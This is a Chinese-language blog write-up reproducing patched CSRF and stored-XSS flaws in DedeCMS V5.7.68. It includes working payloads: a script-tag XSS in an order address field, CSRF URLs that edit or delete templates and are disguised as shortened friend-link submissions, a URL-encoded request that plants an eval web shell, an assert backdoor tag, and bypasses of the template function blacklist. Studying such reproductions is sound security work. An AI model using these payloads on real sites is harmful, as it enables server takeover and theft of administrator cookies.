dedecms V5.7.68 csrf+xss复现

0x00 前言

http://www.dedecms.com/pl/ 可以看到dedecms以往发布的补丁,本着学习的态度,找了一个最近版本的漏洞进行分析,可以看到“更新日期:20170330 紧急程度:危险!”,就是它了。查看详细发现其包含了几个csrf和一个xss漏洞,由于时间关系,只看了其中dede/tpl.php和plus/carbuyaction.php这两个文件产生的问题。

0x01 实验准备

百度了下,找到了修补前的版本,即dedecms V5.7.68 ,考虑到只需对改动处进行分析即可快速定位,于是下载了个Beyond Compare以比对文件不同之处。

0x02 实验

XSS:

通过比较发现,在plus/carbuyaction.php中,补丁文件在116行上下对$address $des $postname $email 四个变量使用了一个RemoveXSS函数,从函数名可看出显然其是一个过滤xss的函数。

通过全局搜索发现在 /include/helpers/filter.helper.php 65行处有定义,通过注释部分和相关代码,确定的确是一个过滤xss的函数,用以修复被xss污染的数据。

回到漏洞文件,以$address为例,我们可以看到,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$address = cn_substrR(trim($address),200);
$des = cn_substrR($des,100);
$postname = cn_substrR(trim($postname),15);
$tel = preg_replace("#[^-0-9,\/\| ]#", "", $tel);
$zip = preg_replace("#[^0-9]#", "", $zip);
$email = cn_substrR($email,255);
……
//更新订单
if($dsql->ExecuteNoneQuery($sql))
{
foreach($Items as $key=>$val)
{
$val['price'] = str_replace(",","",$val['price']);
$dsql->ExecuteNoneQuery("INSERT INTO `#@__shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");
}
$sql = "INSERT INTO `#@__shops_userinfo` (`userid`,`oid`,`consignee`,`address`,`zip`,`tel`,`email`,`des`)
VALUES ('$userid','$OrdersId','$postname','$address','$zip','$tel','$email','$des');
";
$dsql->ExecuteNoneQuery($sql);
}
……

if($dsql->ExecuteNoneQuery($sql))
{
$sql = "UPDATE `#@__shops_userinfo`
SET `consignee`='$postname',`address`='$address',`zip`='$zip',`tel`='$tel',`email`='$email',`des`='$des'
WHERE oid='$OrdersId';";
$dsql->ExecuteNoneQuery($sql);
}
else
{
echo $dsql->GetError();
exit;
}

总之,输入数据没有考虑过滤就带入了查询,而又由于相关页面在读取订单输出到页面时未经过滤,造成了xss。

CSRF:

问题出在/dede/tpl.php,并没有对操作验证token,以及GET POST方法不分,导致以GET方式访问可直接对模板文件进行控制,补丁文件对照:
补丁文件在911行和251行附近增加了相关的token验证。

因此,可以删除任意templets文件夹下的文件,也可以在该文件夹及其子文件夹下创建任意模板文件(被限定htm格式)

由于tpl.php的22-26行限制了目录传入”.”,所以跨到上级目录是无效的,如下

1
2
3
4
5
if(preg_match("#\.#", $acdir))
{
ShowMsg('Not Allow dir '.$acdir.'!','-1');
exit();
}

0x03 利用

XSS:

基本条件:要求有商品在出售,要求有账号能登陆

测试:登陆账号,打开商品页,例如http://localhost/dedecms/plus/view.php?aid=1,然后加入购物车,下单,货到付款。地址填 杭州<script>alert(1)</script>,当管理员点开商品交易的详情页时触发

效果:

CSRF:

example1:

http://localhost/dedecms/dede/tpl.php?action=saveedit&acdir=default&filename=aaaaa.htm&content=&B1=++%B1%A3+%B4%E6++

先去把以上网址缩短了,有http://dwz.cn/ssaassaZ,再去友情链接图片处添加该链接,如http://localhost/dedecms/plus/flink_add.php,当管理员审核友情链接时触发

效果:

example2:

http://localhost/dedecms/dede/tpl.php?action=del&acdir=system&filename=robots.txt

把以上网址缩短为http://dwz.cn/ssaassaH ,在友情链接处添加,管理审核时会自动删除system目录下的robots.txt文件

0x04 拓展

好的吧,既然如此,有没有什么能把这个CSRF进一步利用的呢?

解析漏洞。。。

这个还是可以实现的,在开启fast-cgi的容器的某种配置下或者iis6.0或nginx某些版本情况下,可以利用解析漏洞。

跨目录创建文件挂黑页?删除文件以重装系统?

CSRF只能创建/修改htm文件,而且由于在tpl.php的22-26行限制了跨入上级目录,而在默认模板52-60行(管理模板的模板,/dede/templets/templets_default.htm)处有

1
2
3
4
5
6
7
8
9
10
<?php
$dh = dir($templetdird);
while($filename=$dh->read())
{
if(!preg_match("#\.htm#", $filename)) continue;
$filetime = filemtime($templetdird.'/'.$filename);
$filetime = MyDate("Y-m-d H:i",$filetime);
$fileinfo = (isset($fileinfos[$filename]) ? $fileinfos[$filename] : '未知模板');
?>

可以看到,保存路径是被拼接而成的,所以用完整路径也不能跨目录,而%00传入后在某处被转义了,因此无法用于可能存在的路径截断问题。

ADS文件流?

由于拓展名的检测机制,只能创建一个主流为空的php文件,我们要写入的内容只能被写入到一个xxx.htm的供选流中(即提交文件名xxx.php:xxx.htm),测试后确定当前环境下不能直接利用(不排除其他环境下可使用,比如IIS5.1及以下版本,如果可能的话:))。(PS:FAT格式分区暂未测试,不过应该不会有惊喜:) )

利用模板拿shell

1.如果后台没有禁用php标签(仿佛在做梦?)

dedecms默认模板引擎禁用php函数如下:
phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents
于是,发现完全可以绕过,比如assert,比如某些php版本下的preg_replace /e,比如fopen(),fwrite(),fclose()……

在已有模板上加入

1
2
3
{dede:php}
assert($_POST['cc']);
{/dede:php}

当调用模板时,代码就会被执行了。(具体没有测试,可以参考文末链接,虽然它也不完整:))

2.如果目录可写的话(这个限制不大,其实最主要的还是CSRF的限制,就是首先得知道后台目录)

尽管没有为模板默认开启php标签,但是我们发现,部分模板里也直接写入了php代码。因此,写shell的机会来了。

造成上面部分的原因是有些php文件使用了比如下面这样的代码
require_once(DEDETEMPLATE.'/plus/heightsearch.htm');
总体的思路是这样的:页面程序加载了htm模板,于是我们可以通过修改该模板代码来实现代码执行。

经全局搜索发现,被包含执行的文件有大概这么多

筛选出其中的/templets 文件夹下的模板文件,再筛选其中能进入包含语句的php文件。

从隐蔽性考虑,我们要找一个代码量比较小的来插入code(GET长度限制),或者写段代码,从服务器上下载并展现并保存自身,顺便写入一个shell,这个可以尽情发挥,不考虑隐蔽性的话直接改成shell也行。

鉴于我在templets目录下没找到符合上述条件的1kb以内的模板,我决定选择后者,鉴于演示目的(懒),我决定直接改成shell。

如:\templets\plus\erraddsave.htm

example:http://localhost/dedecms/dede/tpl.php?action=saveedit&acdir=plus&filename=erraddsave.htm&content=%3C%3Fphp+%24fp%3Dfopen%28%27..%2Fshell.php%27%2C%27w%27%29%3Bfwrite%28%24fp%2C%27%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3F%3E%27%29%3Bfclose%28%24fp%29%3B+%3F%3E&B1=++%B1%A3+%B4%E6++

网址缩短:http://dwz.cn/ssss22212322

访问/plus/erraddsave.php 然后看到shell已经躺在站点根目录了(我这里的dedecms目录其实就是dedecms的根目录了)

其实dede的csrf改模板还可以做挺多事的,比如加个sql标签执行sql,然后用dnslog记录,比如加个xss代码,因为dedecms的cookie没有httponly保护,而且前台后台cookie通用,没有为后台管理页面的cookie加path,所以前台就可以打到admin的cookie,只不过还要找后台路径。

另外,其实还可以通过创建标签的方式将csrf转为getshell,不过曾经有人提过了。

参考链接:

交换数据流(ADS)与IIS的前世与今生

一个用ADS(供选数据流)隐藏Windows后门的方法

NTFS ADS带来的WEB安全问题

DedeCMS补丁更新列表

解析漏洞总结 | WooYun知识库

织梦最新后台拿shell

Author: hundan
Link: https://hundan.org/2017/04/26/dedecms-V5-7-68-csrf-xss复现/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.